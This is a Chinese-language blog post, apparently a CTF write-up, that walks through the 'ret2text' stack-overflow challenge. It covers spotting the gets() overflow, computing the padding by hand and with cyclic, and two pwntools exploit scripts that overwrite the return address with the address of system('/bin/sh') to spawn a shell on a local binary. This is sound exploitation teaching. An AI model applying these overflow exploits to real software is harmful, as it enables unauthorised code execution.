30/100 发布文章 1.dev c++如何调试:请参考以下链接
①https://jingyan.baidu.com/article/f54ae2fc4b680b1e92b84930.html
②https://www.jianshu.com/p/1602264dadf2
2.ret2text详解:法1:
①
esp+1ch:意思是S到栈顶的距离是1ch,ebp-64h:意思是S到栈顶的距离是64h。
②
一般的出现gets(&s)就可以等价于出现栈溢出,出现printf家族且没有限制其输出就伴随着格式化字符串漏洞,例如:printf(&a)。
③
通过搜索字符串可以发现反汇编程序的源码中有system(’/bin/sh’),我们可以将其地址覆盖返回地址。需要填充的是s的栈空间加ebp所占的空间:64h+4。但此题有点特殊用IDA静态调试得不到shell,我们需要用动态调试。我的上一篇博客有gdb动态调试的资料。
④
⑤一下是exp
# -*- coding:utf-8 -*-
from pwn import *
p = process("./ret2text")
payload= 'a'*(0x6c+4)+p32(0x0804863A) #将返回地址转化
p.recvline()
p.sendline(payload)
p.interactive()
⑥法二:
详解参考:https://blog.csdn.net/sanorintea/article/details/82288959
⑦主要思想是在程序外面通过cyclic ***生成一段有序数,通过gdb运行程序,把这段有序数复制粘贴过去。因为我们的程序不能跳转到我们覆盖的返回地址的新返回地址。程序就会在此处报错,并将新的返回地址提示出来。这里新的返回地址使我们复制的有序数,它是字符转化为ASCII然后转化为十六进制存储在栈里,所以我们需要将这个地址转化为ASCII值,然后在程序外面运行
cyclic -l 0x62616164 ,其结果就是我们要填充的。
⑧
⑨本人觉得如果不出现这个新地址,可以再手动输入很多字符来实现栈溢出,因为cyclic生成的有序字符其对应的十六进制数可能有对应的地址和其对应。
⑩这里的112是s和ebp的总和,所以这里就不需要再另外加ebp了。
⑪其exp为:
# -*- coding:utf-8 -*-
from pwn import *
p = process("./ret2text")
payload= 'a'*(112)+p32(0x0804863A) #将返回地址转化
p.recvline()
p.sendline(payload)
p.interactive()